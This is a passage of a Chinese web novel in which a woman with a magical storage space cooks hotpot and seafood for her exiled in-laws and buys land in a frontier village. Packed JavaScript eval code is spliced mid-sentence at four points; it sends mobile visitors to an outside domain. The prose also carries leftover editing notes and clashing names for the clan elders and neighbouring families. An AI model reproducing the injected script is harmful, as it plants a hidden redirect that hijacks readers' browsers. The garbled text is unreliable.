三嫂拿起一块牛肉,惊讶道:“这肉质可真好,刀工也讲究,切得这般薄,想必是洋人的手艺。” “可不是嘛,”五嫂也凑过来看,“这肉片薄如蝉翼,透光都能看见呢。” 宁芷薇暗自庆幸自己提前在界阙里处理好了食材,不然还真解释不清这些。她继续指挥道:“大白菜最适合涮火锅,尤其是吸饱了红油的白菜叶子,蘸上调料,那滋味简直让人欲罢不能。” “涮火锅?”八嫂歪着头,一脸困惑,“那是什么吃法?” “待会儿你们就知道了,”宁芷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481948|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薇神秘一笑,“今日新得的土豆红薯也可一试,正好让大家尝个新鲜。” 她将切片的活计分配给嫂嫂们,自己则取出今早从滨村买来的海鲜。皮皮虾最适合涮火锅,她分出一半准备涮着吃,另一半打算做成麻辣口味。至于那几只大龙虾,她想整个蒜香大龙虾,剩下的都收进界阙保存。 “哎呀,这虾可真新鲜,”二嫂惊叹道,“还是活的呢!”说着便要去摸,却被虾钳子夹了一下,惹得众人哄堂大笑。 食材备齐,宁芷薇故意当着众人的面走进骡车车厢,假装在储物格翻找,实则意识已进入界阙。她迅速打开仙市阁,买了芝麻酱、韭菜花酱和腐乳,还有一桶红油火锅底料,全都换上这个时代的包装。 其实火锅蘸料多的是,但她选这几样是经过深思的。芝麻酱只需芝麻和磨盘就能做出来,韭菜花酱也不难,就连腐乳,只要能做出豆腐就不在话下。这样一来,日后就算没有仙市阁,她也能自己制作。 秦远霄正和八哥抱柴进来,远远就看见她从车上下来,怀里抱着几个瓶瓶罐罐。他三步并作两步上前相迎,眼中满是宠溺:“小心些,别摔着。” 他心领神会,故意说道:“瞧我这记性,竟把这些忘在车上了。”说着便接过她怀中之物,动作轻柔得像是在捧着什么稀世珍宝。 宁芷薇看着他眼底的笑意,也跟着笑起来:“我在储物间没找着,就知道你把东西落车里了。”这番对话打消了秦雪松的疑虑。他方才还纳闷车里的东西不是都搬空了吗,搁在车子收纳盒里面呢。 几位嫂嫂你一言我一语地议论着,都以为这是从洋人那里买来的稀罕物什。宁芷薇听着她们天马行空的猜测,只觉得好笑。 秦远霄将调料送去厨房,宁芷薇开始调制麻酱蘸料。她一边调制,一边给几位嫂嫂讲解:“这芝麻酱要加点盐调味,再放些葱花香菜,蘸什么都好吃。” 大嫂在一旁看得入神,突然问道:“九弟妹,接下来该怎么做?” 宁芷薇的手一顿,这才猛然想起一个大问题——他们昨夜才搬进这院子,除了路上买的锅具和行李,连张椅子都没有,更别说餐桌了。 第八十九章 她站在原地,眉头紧蹙。食材已经到位了,连个烧炭的家伙都不见影,这火锅可怎么吃?要不要改做别的菜?可嫂嫂们都忙活半天了,临时改变怕是要让大家失望。 秦远霄一直留意着她的神色,见她面露愁容,心下一紧。在他印象中,薇薇向来聪慧过人,从未见她为事情发愁。他快步走到她身边,轻声问:“怎么了?” 见她仍旧皱着眉头不说话,他拉着她的手就往外走。直到一处僻静角落才停下,他转身面对着她,眼中满是担忧:“薇薇,出什么事了?” 宁芷薇被他这般紧张兮兮地拉出来,还以为天要塌了。看着他紧张的样子,她忍不住想笑,又觉得自己确实有些大意。 见她迟迟不语,秦远霄更急了,握着她的手紧了紧:“薇薇,快说,到底怎么了?” 宁芷薇叹了口气:“还不是今晚的晚餐。” “晚餐?”秦远霄一愣,“不是准备得挺顺利的吗?” “哎呀,”宁芷薇跺了跺脚,“这火锅要用炭炉,还得有桌椅,可咱们什么都没有啊。”她懊恼地揉了揉太阳穴,“都怪我太大意,出门时竟忘了添置家具。” 秦远霄看着她懊恼的样子,眼中闪过一丝笑意。原来是为这个。他轻轻捏了捏她的手:“这有什么难的?我这就去办。” 秦远霄眼底闪过一丝笑意,指尖轻轻敲击着桌面,“让我去求族长搭把手,村里人家肯定有桌椅可借。至于炭炉,这塞北天寒地冻的,家家户户都备着。” 他的目光透过窗棂望向远处的村落,炊烟袅袅升起。多年行军打仗,他见过太多穷苦百姓,深知为了糊口,乡下**多会自己烧炭,运到城里卖给富户。昨日看房时,他就留意到不少人家院子里都有简易炭窑,黑漆漆的炭渣堆积在一旁。 宁芷薇双手托腮,眼中倒映着窗外的阳光,明亮得像是盛满了星辰:“你说得对,我怎么没想到这个办法!”她的手指无意识地摩挲着桌面,脑海中已经开始盘算起菜品的搭配。 看着她明媚的笑颜,秦远霄忍不住伸手揉了揉她的发顶,指尖触及的发丝柔软得不可思议:“在家等着,这事交给我。”他的声音里带着一丝宠溺,仿佛在对待一件珍贵的宝物。 目送他离开的背影消失在院门口,宁芷薇深吸一口气,转身回到灶房。木质的地板在她脚下发出细微的吱呀声,空气中飘散着淡淡的木香。她开始着手准备蒜蓉蒸龙虾和麻辣皮皮虾,案板上的食材在阳光下闪着诱人的光泽。 几位嫂嫂围在一旁,好奇地打量着这些从未见过的海鲜。龙虾狰狞的外表让她们不由自主地往后缩了缩,尤其是那对巨大的钳子,在阳光下泛着冷冽的光芒。 “这...这东西真能吃吗?”六嫂小声嘀咕着,眼神中带着几分畏惧。 宁芷薇嘴角勾起一抹自信的弧度,手中的菜刀轻轻一挥,龙虾应声而断,整齐地分成两半。动作之干净利落,让在场的几位嫂嫂不由得倒吸一口凉气。 “看着吓人,其实很美味的。”宁芷薇一边解释,一边将调制好的蒜蓉均匀地铺在龙虾肉上。蒜香四溢,混合着海鲜的鲜美,让人忍不住食指大动。 她动作麻利地将龙虾放入蒸锅,转身又开始处理皮皮虾。锅中油温已经恰到好处,放入调味料的瞬间,一阵诱人的香气扑面而来。 “哎呀,这味道...”八嫂忍不住吸了吸鼻子,脸上露出陶醉的表情,“虽说不知道九弟妹做的是啥,光闻着就馋得慌。”她不自觉地咽了咽口水,眼睛直勾勾地盯着锅中翻炒的皮皮虾。 “瞧瞧,八弟妹又犯**病了。”二嫂笑着打趣道,眼角的笑纹里藏着几分温柔,“每次闻到香味就控制不住自己。” 正说笑间,院外传来此起彼伏的脚步声。众人循声望去,只见秦远霄和一位身材魁梧的村民抬着一张大圆桌走在最前,桌面上落满了细小的灰尘,显然是刚从某户人家搬来的。后面跟着几个村民,人手两把椅子,木质的椅子上雕刻着简单的花纹。吴族长提着一袋木炭,走在最后,脸上带着和蔼的笑容。 “老九啊,”吴族长还未进院就开口问道,声音中带着掩饰不住的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481949|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好奇,“你们家今儿飘香四溢啊?比城里馆子的味道还香!”他一边说着,一边使劲嗅着空气中飘散的香气。 “是内子做的虾魁和螳螂虾。”秦远霄放下圆桌,擦了擦额头的汗水答道。 “虾魁?螳螂虾?”吴族长眉头微皱,一脸诧异,“不可能啊,那玩意儿我年轻时吃过,又腥又难啃,哪有这香味?”他的语气中充满了怀疑。 秦远霄笑而不答,领着吴族长穿过院子,走向正在忙碌的宁芷薇。木炭要付钱,得找她拿银钱。阳光透过树叶的缝隙,在地上投下斑驳的光影。 “薇薇,给吴族长二十文。”秦远霄轻声说道。 宁芷薇停下手中的活计,看了看那袋木炭,又想到那些辛苦烧炭的村民,直接从荷包里掏出五十文递给吴族长。她的动作干脆利落,眼神中带着几分坚定。 “使不得!”吴族长连忙后退半步,快速数出二十文收下,其余推还,“咱们一个村的,只收成本价。”他的态度坚决,脸上的皱纹里写满了固执。 宁芷薇还想坚持,吴族长却已经退开几步,摆着手说道:“这么多年,老乡们买木炭都是这个行情。咱们村里人,就该这么办。” 见老人家如此执拗,宁芷薇灵机一动,转而提议:“夫君,不如请两位族长留下用饭?”她的眼中闪过一丝狡黠。 秦远霄心领神会,当即应下:“好,我这就去请杨族长。”说完,他转身快步向院外走去。 吴族长本想推辞,但那诱人的香气实在难以抗拗。况且与新邻居多亲近亲近也好,便点头答应下来。不过他仍执意要把木炭钱退还,说道:“在这吃饭,哪能再收钱?这不是折煞人吗?” 秦远霄无奈地摇摇头:“吴族长,摆宴席还谈钱就没意思了?瞧不上秦老九是吧?”他的语气中带着几分玩笑的意味。 “没没没...”吴族长还想解释,却被秦远霄打断,直接将人请进了正屋。屋内光线明亮,窗棂上的雕花在地上投下精致的影子。 正当众人忙着搬桌椅时,与后文重复 第九十章 一阵欢快的脚步声由远及近,打破了山村午后的宁静。 庞勇等人抱着猎物归来,每个人脸上都洋溢着喜悦。六只野鸡被捆在腰间,一头野山羊被扛在肩上,最引人注目的是他们怀中那几只活蹦乱跳的野兔。 “大哥!”宁芷薇从灶房探出头来,“快去洗洗手,马上就能开饭了。”她的声音清脆,像是山间的溪流。 秦雪松点点头,将猎物放在院子一角,领着众人去净手。阳光斜斜地照在院子里,将所有人的影子拉得老长。空气中弥漫着饭菜的香气,混合着木炭的气息,构成了一幅温馨的画面。 “这运气也太好了。”秦雨澜眼睛一亮,小跑着迎了上去。她的裙摆在山风中轻轻飘荡,发丝也随风舞动。 吴族长站在秦远霄身旁,目光在丰硕的猎物上来回打量,不由得连连咂舌。他抬手擦了擦额头的汗水,语气中带着几分感慨:“老朽在这山里摸爬滚打了大半辈子,还从没见过这么好的收获。村里的猎户们就算三五成群上山,往往也要耗费好几天才能打到这么多猎物。” 吴族长站在树下,目光紧紧盯着那堆猎物,眼底闪烁着算计的光芒。“这头野山羊...”他不自觉地舔了舔嘴唇,手指微微颤动,“要是送去城里的酒楼,怎么也得值个一两多银子。” “庞勇大哥,你们这波操作简直绝了!”秦雨澜的目光全被那几只毛茸茸的野兔吸引,兴奋得直拍手,眼中闪烁着孩童般的纯真光芒。 庞勇憨厚一笑,脸上的汗水在阳光下闪着光:“小姐喜欢就好,我们特意多抓了些回来。这些野兔都是活的,正适合养着。” “快把它们安置在西边那间空屋子里吧。”秦雨澜迫不及待地指着不远处的房子,“那里我已经让人收拾好了,铺了新鲜的干草。” 众人朝那间屋子走去,刚推开吱呀作响的木门,就看见墨圆儿像个尽职的门神似的,龇牙咧嘴地挡在门口。它浑身的**都竖了起来,喉咙里发出低沉的警告声。 “小祖宗别生气,我们就是来送新朋友的。”庞勇连忙做出投降的姿势,脸上露出几分无奈。 秦雨澜忍俊不禁,上前抱起炸毛的墨圆儿:“乖,咱们都是一家子,不会伤害你的。”她轻轻抚摸着墨圆儿的后背,试图安抚它的情绪。 墨圆儿虽然对秦雨澜还算配合,但显然没有对宁芷薇那般亲昵。它在秦雨澜怀里扭动着身子,很快就溜了下来,傲娇地扭着屁股走开了,尾巴高高翘起,仿佛在表达自己的不满。 几人将野兔安置好,秦远霄便吩咐八哥陪吴族长说话,自己则去请杨族长。他的脚步匆匆,显然对即将举办的火锅宴充满期待。 不一会儿,吴家亲戚们搬来几套豪华餐桌椅,还有两个炭炉。桌椅都是新做的,散发着淡淡的木香。 宁芷薇眼前一亮,立刻开始张罗起来。她让人将炭炉摆在桌子中央,又取来两个铜盆,倒入清水和红油火锅底料。热气腾腾的水汽升起,空气中弥漫着诱人的香气。 秦远霄很快领着杨族长、梁天河和段承义回来了,五嫂也搀扶着五哥到场。众人看着桌上燃着炭火的铜盆,面面相觑。这种吃法,他们还是头一回见。 “远霄啊,这是要怎么吃?”梁天河终于忍不住问道,他的目光在冒着热气的铜盆上徘徊。 “这是我家那口子琢磨出来的独门秘方,叫火锅。”秦远霄笑着解释,同时安排大家入座。他的语气中带着几分自豪。 宁芷薇带着女眷们端上各色食材,有切片的羊肉、新鲜的时蔬、各种菌菇,还有特制的蘸料。麻辣鲜香的味道很快弥漫开来,勾起了所有人的食欲。 “各位,这样吃很简单。”宁芷薇一边说,一边示范,“将食材放进锅里煮熟,蘸料调好了就可以享用。红油锅是辣的,清汤锅口味清淡,大家可以根据自己的喜好选择。” 第一次尝试的人们被辣得直咳嗽,但那股令人上瘾的香味很快就征服了所有人。餐桌上不时传来赞叹声和畅快的笑声。 “九弟妹这手艺,真是绝了。”秦雪松连连称赞,脸上的笑容就没断过。 “在京城吃过那么多好东 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夕阳西下,余晖洒在东麓村的土坯房上,给这个偏僻的小山村染上一层温暖的金色。杨族长和吴族长坐在简陋的木桌前,看着桌上琳琅满目的海鲜,眼中闪过复杂的神色。 “这虾肉鲜嫩,蒜香四溢,完全不像以前那股子腥味。”杨族长夹起一只虾,放入口中细细品味。 吴族长也跟着点头,目光中带着几分感慨:“谁能想到,当年那些让人难以下咽的东西,如今竟成了这般美味。” 两位族长的话,勾起了在座众人的回忆。几年前那场大旱,庄稼颗粒无收,就连有钱也买不到粮食。村民们不得不靠着便宜的海货果腹,可那滋味,至今想起来都让人不寒而栗。 “那时候啊,”杨族长放下筷子,眼神有些恍惚,“好几个人都吃坏了肚子。那海货又腥又臭,还扎嘴,可又不得不吃。” “可不是嘛,”吴族长抿了口酒,“现在想想,那段日子真是熬人。” 桌上的气氛因为这番话变得有些沉重。但很快,杨族长又露出了笑容:“老九啊,你们家的好菜,搬到城里摆摊儿,那可真是能赚大钱!” 第九十一章 这话一出,原本安静的饭桌顿时热闹起来。坐在一旁的二嫂眼睛亮得惊人,她放下筷子,激动地拉住宁芷薇的手:“九弟妹,要不咱们真去城里开个铺子?就卖你做的这些海鲜!” 宁芷薇轻轻抽出手,目光中带着几分迟疑。她看了看桌上的菜品,又看了看满脸期待的二嫂,缓缓开口:“这事不简单。” “怎么不简单?”二嫂不解地问,“你的手艺这么好,城里人肯定爱吃。” 宁芷薇没有立即回答,而是指了指桌上的一碟辣椒酱:“二嫂,你看这个。这是从洋人那里买来的,数量有限。没有它,这些菜就少了灵魂。” 秦老夫人适时插话:“就是啊,没有原料,再好的手艺也做不成生意。” 二嫂的脸上闪过一丝失望,但很快又被宁芷薇的下一句话点亮了眼睛。 “不过,我买了辣椒种子。”宁芷薇轻声说,“明年开春就能种上。” “真的?”二嫂一下子来了精神,“那到时候我一定多种些!” 一旁的秦雨澜放下碗筷,眼中闪烁着求知的光芒:“九嫂,我最近在看药理书,发现有些药材种植起来并不难,价钱还不错。明年我们也可以试试。” 其他几位嫂嫂见状,纷纷表示愿意跟着九弟妹干。大嫂更是直接拍板:“九弟妹,你有什么主意尽管说,我们都听你的。” 五哥和八哥听不下去了,脸上露出几分不悦。 “赚钱的事交给我们男人。”五哥拍着胸脯说,语气中带着几分不服气。 “就是,我们打猎就能养活一家子。”八哥也跟着附和,目光中带着几分自信。 只有秦远霄默不作声地看着这一切。他太了解自家媳妇了,要说赚钱,恐怕他们几个大男人加起来都比不上薇薇的本事。 庞勇站起身,豪气干云地说:“以后我们轮流打猎,保证家里顿顿有肉!” 宁芷薇看着眼前的场景,心里熙熙的。她知道,美食不仅能满足口腹之欲,更能拉近人与人之间的距离。在这个陌生的地方,她似乎找到了一种归属感。 杨族长和吴族长听得直咂舌。这些年轻人,说话都这么有底气,看来这东麓村要热闹起来了。 屋内,炊烟袅袅升起。宁芷薇将最后一块肉片轻轻放进滚烫的锅中,顿时香气四溢。她抬眼扫过满屋的人,看着他们吃得津津有味的模样,嘴角不自觉地扬起一抹笑意。 “九弟妹,”八嫂探着身子,指着案板上整齐摆放的切片,眉头微蹙,“这是什么东西啊?看着怪生的。” 宁芷薇将那些切片倒入铜盆,动作轻柔,“这是从洋人那里买来的新物件,一个叫土豆,一个叫红薯。”她顿了顿,补充道,“不但好吃,听说产量还很高。” “产量高?”吴族长和杨族长异口同声,两人不约而同地挺直了腰板。 宁芷薇点头,语气平淡却字字有力:“据说土豆一亩能产千斤左右,红薯更多,能有两千斤。” “嘶——”两位族长倒吸一口凉气,腾地站了起来。杨族长的茶碗都差点打翻,他顾不得擦拭溅出的茶水,声音因激动而微微发颤:“当真?老九家的,你可别被那洋人骗了啊!” 屋内一时安静下来,只剩下炉火的噼啪声。宁芷薇没有立即回答,而是专注地将煮熟的土豆和红薯盛出来,分给在座的每个人。 八嫂迫不及待地咬了一口,红薯的香甜立刻在口中化开。“哎呀,这红薯真甜!”她眯着眼睛,满脸陶醉。 一向不爱说话的六嫂也忍不住开口:“确实不错,吃起来肚子很饱。比起白面馒头,这个更实在。” 众人吃得差不多时,秦远霄放下筷子,目光落在两位族长身上:“不知两位族长手中可有闲置的土地要卖?” 吴族长眉毛一挑,眼中精光闪动:“老九要买地?” “是啊,”秦远霄语气平和,手指轻轻敲击着桌面,“既然要在村里安家,种地是必然的。” 杨族长摸着下巴,眼神飘忽:“村里最好的地都在苏家手里 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饭桌上的气氛渐渐轻松起来,酒过三巡,菜过五味。赵周两位族长看着秦家的手笔,眼中的神色越发复杂。 往日那些被发配来的流放之人,大多是穷困潦倒,连一顿饱饭都难以为继。即便有些家底殷实的,也都是靠着孝敬苏允才能过得舒坦些。可秦家不同,明明有实力,却偏偏选择硬碰硬。这份傲骨,着实让两位族长刮目相看。 “老九啊,”杨族长起身时,脸上的笑意比往日真诚了几分,“今日多谢款待。以后有什么事尽管说,凭咱们的本事必能搞定,定当全力相助。” 夜幕降临时,宴席才渐渐散去。临走前,杨族长特意叮嘱宁芷薇,说改日要带着族里的媳妇们来向她讨教厨艺。 看着宾客们离去的背影,宁芷薇轻轻靠在秦远霄肩上,夜风吹拂着她的发丝。这一刻,她感受到了前所未有的安心。 第九十二章 望着满天繁星。今晚的谈话让她想起了许多事。 来东麓村之前,她就知道这里的生活不会轻松。但看着大家对未来充满期待的样子,她又不忍心泼冷水。 且不说宁远富户不多,光是这些食材和调料的成本就不低。卖贵了无人问津,卖便宜又难以回本。更重要的是,他们刚到东麓村,还需要时间安顿。 身后传来脚步声,是秦远霄。他轻轻揽住妻子的肩膀:“在想什么?” 宁芷薇靠在丈夫怀里,轻声说:“我在想,该怎么带着大家过上好日子。” “你已经做得很好了。”秦远霄柔声说,“大家都信任你。” 宁芷薇抬头看着丈夫:“可是...” 秦远霄打断了她的话:“我知道你在担心什么。但是薇薇,我们不是一个人在战斗。” 是啊,不是一个人。宁芷薇想起今晚饭桌上大家热切的目光,心里涌起一股暖流。 夜深人静,宁芷薇躺在床上,却久久无法入睡。,心中已经在盘算着明年的农事。她知道,这些荒地在别人眼中或许一文不值,但在她手中,却能变成真正的聚宝盆。她想起界阙里有神奇的种子,有能让庄稼产量翻倍的农具,又想起村民们那些期待的眼神。她知道,自己要改变这个村子并不难,但要如何把握分寸,既能帮助村民,又不会引起太大的震动,这确实需要好好思量。 无关紧要的的话 远处传来几声犬吠,打破了夜的宁静。宁芷薇知道,明天又是新的一天,她需要继续带着大家,一步一步地往前走。 不远处的树林里,一个黑影悄无声息地退去。蒋承志握紧了拳头,他必须尽快向顾星河汇报今晚的情况。这些人,似乎并不像表面看起来那么简单。 晨光熹微,薄雾缭绕间,荒废的土地显得格外萧条。这片看似荒芜的土地,却让宁芷薇看到了无限可能。删除多余赘婿重新调整。 身后传来脚步声,秦远霄不知何时已经站在她身后。他顺着她的目光望去,眼中闪过一丝了然。 “想什么呢?”秦远霄轻声问道。 宁芷薇转过身,嘴角勾起一抹浅笑:“在想这片地该如何规划。” 正说着,院子里传来说话声。吴族长和杨族长联袂而来,身后还跟着几位村中德高望重的长者。 “老九,老九媳妇。”吴族长笑呵呵地打着招呼,脸上的皱纹都舒展开来,“我们商量过了,那片荒地确实闲置多年,不如低价出售给你们。” 杨族长也紧跟着开口,脸上带着几分诚恳:“咱家那头空着二十多亩地荒着呢,同样一两银子一亩。这个价钱,在整个东麓村都是最公道的。” 一旁的梁天河和段承义对视一眼,眼中闪过一丝犹豫。他们此行也是为了置办田产,但显然对这片荒地没什么兴趣。 秦远霄察觉到两人的表情变化,不动声色地瞥了一眼宁芷薇。两人心照不宣,这正是他们想要的结果。 梁天河率先开口,声音中带着几分歉意:“这种荒地我们确实不太懂得如何耕种,恐怕要辜负两位族长的好意了。” 段承义也连忙附和:“是啊,我们更想买些良田。这片地虽然价格合适,但对我们来说还是太难打理了。” 宁芷薇暗自松了口气。她早就和秦远霄商议过,要将山脚下那片地全部买下来。未来的宅院就建在那里,若是有人与他们争抢,反而不美。 秦远霄看着两位族长,声音沉稳有力:“两位族长,这些土地我全要了。” 话音刚落,宁芷薇已经从袖中取出一锭银元宝,足有十两重。银锭在阳光下泛着柔和的光泽,映得在座众人眼中都闪烁着异样的光芒。 “这是定金,等我们安顿好就去衙门办理过户。”宁芷薇将银锭轻轻放在桌上。 吴族长连忙摆手,脸上的褶皱都跟着颤动:“老九媳妇太客气了,咱们都是邻里,一点定金意思意思就行。这么多银子,我们哪好意思收。” 杨族长也跟着推辞:“是啊是啊,你们初来乍到,还要置办许多东西。这定金少给些也无妨。” 宁芷薇微笑着说:“早晚都要给的银子,不如现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481952|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表个心意。两位族长就别推辞了。” 两位族长你看看我,我看看你,最后由杨族长收下了银子。 这时,秦远霄又问起了山脚下的那些破旧院子:“若是可以,我想将那些院子也都买下来。” 此言一出,在座众人皆是一惊。那些院子年久失修,有些甚至已经成了危房,怎么看都不像是个好的选择。 吴族长忍不住提醒道:“那里靠近山边,容易遭受蛮夷骚扰。你们要考虑清楚啊。”说着,他的目光不自觉地飘向远处的群山。那里常年雾气缭绕,给人一种神秘而危险的感觉。 宁芷薇心中一暖。这些村民虽然贫困,却都心地善良,处处为他们着想。不过她并不担心蛮夷,有秦远霄在,那些蛮夷翻不起什么浪。 秦雪松站在一旁,眉头微皱。他看看弟弟,又看看弟媳,欲言又止。显然对这个决定有所疑虑。 就在这时,秦老夫人开口了。她的声音不大,却带着不容置疑的威严:“初寒,现在是宁氏当家,听九哥的准没错。” 宁芷薇看着眼前这一幕,心中涌起一股暖意。这个家,终于开始慢慢融合在一起。老夫人的态度,无疑给了她最大的支持。 两位族长见状也不再多言,开始详细介绍各家院子的情况。 “我们杨家有七处院子,”杨族长掰着手指数道,“有三处还算完整,其他几处需要修缮。” 吴族长接着说:“吴家有九处,大多都需要重新修葺。不过地基都还算结实。” “剩下五处是苏家的,”一旁的崔老汉插话道,“我那几处院子年久失修,价钱好说。” 宁芷薇在心中盘算着。这些院子加起来,足够她实现计划了。 正说着,外面传来一阵喧哗声。几个村民匆匆跑来,脸上带着惊慌。 “族长!不好了!”一个年轻人气喘吁吁地说,“山上又下来了几个蛮夷,在村口晃悠呢!” 吴族长脸色一变,赶紧起身:“我去看看。” 秦远霄拦住他:“族长别急,我和你一起去。” 第九十三章 宁芷薇看着秦远霄的背影,心中没有丝毫担忧。这些蛮夷,反而给了他们一个绝佳的机会。 果然,没过多久,秦远霄就回来了。他的衣襟上沾了些尘土,但神色从容。 “处理好了?”宁芷薇轻声问道。 秦远霄点点头:“几个不懂规矩的小辈罢了,教训一顿就老实了。” 吴族长跟在后面,脸上写满了震惊和敬佩:“老九的武艺真是了得!那几个蛮子连他三招都接不住。” 杨族长也连连点头:“有老九在,我们村子就安全多了。” 宁芷薇看着众人钦佩的目光,嘴角微微上扬。这正是她想要的效果。有了这次展示,村民们对他们的戒心必然会减少许多。 太阳渐渐升高,院子里的谈话也接近尾声。两位族长约定明天带他们去实地查看那些院子,然后再商议具体价格。 送走众人后,宁芷薇站在院子里,望着远处的山脚。阳光穿过薄雾,洒在那片荒地上,仿佛为她描绘出了一幅美好的蓝图。 秦远霄走到她身边,轻声说:“你早就看中那片地了吧?” 宁芷薇笑而不语。那里地势开阔,背靠青山,虽然现在荒废,但经过规划整治后,必然会焕然一新。 而且,那里靠近山边的位置,正好适合她布置一些特殊的安排。 秦远霄点头回应,目光扫过院中几案几凳,语气平和:“庭院整修可以缓缓,等苏家的案子了结,再细细商议。” 夕阳的余晖透过枝叶斑驳地洒在庭院里,为这场谈话增添了几分温暖的氛围。梁天河和段承义对视一眼,眼底闪过一丝焦虑。他们的手指不自觉地摩挲着茶杯,心中暗暗盘算着。 一顿饭的功夫,秦家就买下这么多耕地和院子,这手笔着实让人咋舌。那些破败的院落横亘在山脚下,像一排排无声的见证者,诉说着岁月的沧桑。 梁天河的目光在院落间游移,喉结微动。这般大手笔的投资,对他们来说实在太过冒险。手中那点可怜的银钱若是全部投进去,怕是连翻身的机会都要断送了。 “这破院子重建起来,怕是要花上不少功夫。”段承义低声嘀咕着,指节轻轻叩击桌面,“光是修缮就得花去大半家当。” 梁天河微微颔首,眼中闪过一丝精明。他们现在租住的院子虽不算大,但胜在结实干净。若是能买下来,倒也是个不错的选择。 “杨族长,”梁天河清了清嗓子,声音里带着几分试探,“不知我们现在租住的院子,可有出售的打算?” 杨族长捋了捋花白的胡须,浑浊的眼中闪过一丝精光:“梁家租的那院子是我家的,这个我能做主。”他顿了顿,目光在众人脸上扫过,“若是价钱合适,自然可以出手。至于段家那处,是族人的产业,我得先去问问才好给答复。” 梁天河眼前一亮,身子不自觉地向前倾了倾:“不知那院子要价几何?” “那院子占地一亩有余,”杨族长慢条斯理地说道,手指在桌面上比划着,“那会买地盖房整整花掉十二两白银。如今虽旧了些,但十二两卖你也是公道。” 梁天河暗自盘算,指尖无意识地摩挲着袖口。这院子虽说年岁不小,但地基结实,房梁也是上等的好木料。十二两银子虽不算便宜,但比起重建一座新院子,确实要划算得多。 “好,这院子我们梁家要了。”他从怀中掏出两个碎银,递了过去,“这是定金。” 二嫂坐在一旁,看得心急如焚。她的目光在父亲和九弟之间来回游移,手指不自觉地绞着衣角。她太了解九弟和九弟妹了,他们做事向来深思熟虑,必定是看中了那片山脚下的地方。 可父亲却像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481953|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完全没注意到她的暗示,自顾自地和杨族长谈着价钱。她急得直跺脚,却又不好当着这么多人的面开口。 宁芷薇将这一切看在眼里,嘴角勾起一抹若有若无的笑意。她和远霄早已为那片地方做好了详细的规划,若是谢方两家也跟着去买,反倒要重新调整。 现在这样最好,两家在村里安家,既能省下一笔银钱,又不会打乱他们的计划。更重要的是,这样的选择对两家来说确实更为稳妥。 暮色渐沉,秦府后院的厨房里飘散着淡淡的炊烟。 大嫂站在灶台前,手里的铁钩悬在半空,目光紧紧盯着九弟妹的一举一动。她看着宁芷薇将一块块木炭小心翼翼地摆放在火炉里,动作轻柔得仿佛在摆弄什么稀世珍宝。 “九弟妹,这火炉不是用来烧柴的吗?”大嫂忍不住开口,语气里带着几分疑惑。她已经在这个厨房忙活了二十多年,还从未见过有人这般摆弄火炉。 六嫂见状,连忙上前拉了拉大嫂的衣袖,压低声音道:“大嫂,九弟妹做事向来有分寸,咱们且看着便是。自从她来了之后,府上的日子不是越过越好了吗?” 大嫂愣了愣,随即不好意思地笑了笑:“是我多虑了。”说着将铁钩放到一旁,继续专心刷起碗来。只是眼角的余光仍不时瞥向宁芷薇那边。 厨房外的院子里,秦远霄正带着庞勇等人忙着归还昨日宴席借来的桌椅。初春的风还带着些许寒意,吹得他们不时搓手跺脚。 “少爷,这边的桌子都收拾好了。”庞勇擦了擦额头的汗水,朝秦远霄汇报道。 秦远霄点点头,目光扫过院子:“那边角落里还有几把椅子,一并搬了吧。” 后院那边传来一阵窸窸窣窣的声响,秦雪松正在处理昨日日打来的野味。他蹲在地上,熟练地剥着兔皮,眉头却微微皱着。 第九十四章 自从九弟妹来到府上,家中的开销几乎都是她在支撑。作为大伯哥,秦雪松心里实在过意不去。虽然还未去衙门上任,但趁着这段时间多打些猎物换银子,也算是为家里出一份力。 正当他准备将处理好的野兔搬到空房间时,一个娇小的身影突然挡在了门前。 “八哥!”秦雨澜双手叉腰,圆圆的小脸上写满了不满,“那些小兔子多可爱啊,你怎么能不能不把它们卖了!” 秦雪松看着妹妹气鼓鼓的样子,无奈地叹了口气:“雨澜,你已经不小了,不能再这么任性。” 